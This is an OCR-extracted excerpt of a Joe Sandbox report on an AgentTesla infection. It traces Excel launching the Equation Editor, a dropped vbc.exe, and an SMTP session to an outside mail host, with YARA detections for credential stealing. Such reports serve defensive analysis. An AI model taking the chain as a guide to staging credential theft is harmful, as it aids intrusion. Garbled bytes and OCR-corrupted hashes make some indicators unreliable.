@BOH'HH,kj+&(((0*0+&+& 8E( (:/8*( 8(82 E1H8,& 8(((9& 8( (:&*V+&(((*V+&(((*+& +&*I+&(*I+& (*I+&(*I+&(*.+&(*:+&0
*+&
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SMTP Packets

Timestamp

Jun 16, 2021 12:16:03.518151999 CEST
Jun 16, 2021 12:16:03.518692970 CEST
Jun 16, 2021 12:16:03.694005013 CEST

Jun 16, 2021 12:16:03.694273949 CEST
Jun 16, 2021 12:16:03.869683027 CEST

Code Manipulations

Statistics

Behavior

)

i)

System Behavior

Click to jump to process

Source Dest

Port Port
587 49166
49166 587
587 49166
49166 587
587 49166

Source IP Dest IP
208.91.198.143  192.168.2.22
192.168.2.22 208.91.198.143

208.91.198.143  192.168.2.22

192.168.2.22 208.91.198.143

208.91.198.143  192.168.2.22

Commands

220 us2.outbound.mailhostbox.com ESMTP Postfix

EHLO 376483

250-us2.outbound.mailhostbox.com
250-PIPELINING

250-SIZE 41648128

250-VRFY

250-ETRN

250-STARTTLS

250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME

250 DSN

STARTTLS
220 2.0.0 Ready to start TLS

Analysis Process: EXCEL.EXE PID: 2072 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Written

Registry Activities

Key Created

Copyright Joe Security LLC 2021

12:13:39
16/06/2021

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

false

‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding

0x13fb70000

27641504 bytes

5FBOAOF93382ECD19F5F499A5CAA59F0

true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior
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Key Value Created

Analysis Process: EQNEDT32.EXE PID: 2728 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Key Created

12:14:00

16/06/2021

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
true

'C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE' -Embedding
0x400000

543304 bytes

AB87236E214F6D42A65F5DEDAC816AECS

true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: vbc.exe PID: 2904 Parent PID: 2728

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

12:14:03

16/06/2021
C:\Users\Public\vbc.exe
true
‘C:\Users\Public\vbc.exe'
0x900000

860672 bytes
E123306FCC7FD3C3BDA8993B4F6C43A2
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp,
Author: Joe Security

low

Show Windows behavior

Analysis Process: vbc.exe PID: 2884 Parent PID: 2904

General

Copyright Joe Security LLC 2021

Page 21 of 22



Start time: 12:14:05

Start date: 16/06/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: C:\Users\Public\vbc.exe

Imagebase: 0x900000

File size: 860672 bytes

MDS5 hash: E123306FCC7FD3C3BDAB993B4F6C43A2
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities Show Windows behavior
File Read

Registry Activities Show Windows behavior

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 32.0.0 Black Diamond
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